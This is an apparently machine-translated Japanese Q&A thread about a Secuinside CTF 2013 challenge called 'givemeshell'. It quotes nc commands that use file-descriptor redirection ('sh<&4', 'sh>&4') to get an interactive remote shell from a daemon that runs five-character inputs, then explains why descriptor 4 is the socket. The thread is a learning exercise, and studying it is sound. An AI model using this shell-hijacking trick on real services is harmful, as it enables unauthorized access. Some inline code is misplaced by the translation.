11

今週末、Secuinside CTF 2013 ( http://war.secuinside.com/ )という CTF ウォーゲームが開催されました。

コンピューター セキュリティ愛好家として、CTF が終わった後の課題とその解決策を調べました。

「givemeshell」と呼ばれるデーモンがこのサーバーで実行されていることを考えると、課題の 1 つはサーバーでリモート シェルを取得することでした。デーモンが行うことは、選択したポート (ポート 12345 としましょう) でソケットを開いたままにすることです。

ソケットが何かを受け取ると、デーモンは最初の 5 文字を取得し、シェルで起動します。

たとえば、 を送信するcat fileと、デーモンはcat fシェルでコマンドを起動します。応答がないので、コマンドの結果がわかりません。

目的は、フラグを含むファイルを読み取ることです。

さて、誰かが私にこの解決策を教えてくれました:

$ nc 1.2.3.4 12345
4<>a

$ nc 1.2.3.4 12345
sh<&4
sh>&4
cat flag
The flag is _FLAG_

このソリューションをテストしましたが、機能します。しかし、それを理解しようと数時間を費やした後でも、それが何をするのか、なぜ機能するのかを理解することはできません. これは何かをリダイレクトすることだと理解しています...

誰かが私にそれを説明できますか?ありがとう!

4

1 に答える 1

9

4 は接続のファイル記述子です。

0 はプログラム stdin、1 はプログラム stdout、2 はプログラム stderr です。接続をリッスンするソケットを作成すると、ソケットは 3 に割り当てられ、接続を受け入れると、番号 4 の新しいファイル記述子が作成されましたこの接続を処理します。

4 は、バックドアへの接続のファイル記述子の ID です。最初に接続したのはあなただと仮定します。

次に、 と入力しsh<&4ます。それが開きsh、すべての入力を接続から直接取得する必要があることを伝えます。

shシェルを引き継いで、送信したすべてのコマンドがシェルによって直接解釈されるため、現在、シェルを完全に制御できます。しかし、まだ出力が表示されません!

次に、すべての出力をファイル記述子にプッシュする必要があると言って、他sh>&4の内部の新しいレベルを開くように入力します。shトリックは完了です!双方向通信。

于 2013-05-27T14:13:39.970 に答える